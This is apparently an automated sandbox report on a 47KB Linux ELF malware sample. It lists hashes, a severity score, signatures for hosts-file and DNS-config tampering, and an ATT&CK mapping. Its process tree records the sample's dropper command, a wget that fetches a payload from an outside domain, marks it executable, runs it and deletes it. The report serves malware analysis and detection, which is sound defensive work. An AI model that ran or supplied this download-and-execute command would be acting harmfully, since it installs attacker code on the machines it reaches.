Overview

overview

10

Static

static

10

39ecb85296...ad.elf

ubuntu-18.04-amd64

8

Analysis

  • max time kernel
    0s
  • max time network
    103s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-09-2022 16:50

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General

  • Target

    39ecb85296b4efed82c1a0961d0227ad.elf

  • Size

    47KB

  • MD5

    39ecb85296b4efed82c1a0961d0227ad

  • SHA1

    6c4e5ce79d707a880309e122b2c2628204b5f647

  • SHA256

    63fdcbc4c601b1d506d420510379882e717966e9739e3c8d0e040df6093bc180

  • SHA512

    17e4cf4b9028f05ff1f8acaa32bebd73c7bbe8bdf793fafeed9468bc0cf140add475c7f4b13de54c6eb491c92df2e0ae9bc384b0ddf0a9dde55003f5587ce1ef

  • SSDEEP

    768:KgtmwTPL4dKYWUTeRCiAUTvqRI3HRampwEvBIUIYpKil1aVdcS:lt7z8JWnCATvR3HR1BF705cS

Score
8/10

Malware Config

Signatures

  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

Processes

  • /tmp/39ecb85296b4efed82c1a0961d0227ad.elf
    /tmp/39ecb85296b4efed82c1a0961d0227ad.elf
    1⤵
      PID:581
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../cipher -O .....;chmod 777 .....;./.....;rm -rf ..... "
      1⤵
        PID:584
        • /usr/bin/wget
          wget -q http://gay.energy/.../cipher -O .....
          2⤵
          • Modifies hosts file
          • Writes DNS configuration
          PID:585
        • /bin/chmod
          chmod 777 .....
          2⤵
            PID:586
          • ./.....
            ./.....
            2⤵
              PID:587
            • /bin/sh
              /bin/sh ./.....
              2⤵
                PID:587
              • /bin/rm
                rm -rf .....
                2⤵
                  PID:589

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              Privilege Escalation

              Defense Evasion

              Credential Access

              Discovery

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Dynamic Resolution

              1
              T1568

              Impact

              Replay Monitor

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              Downloads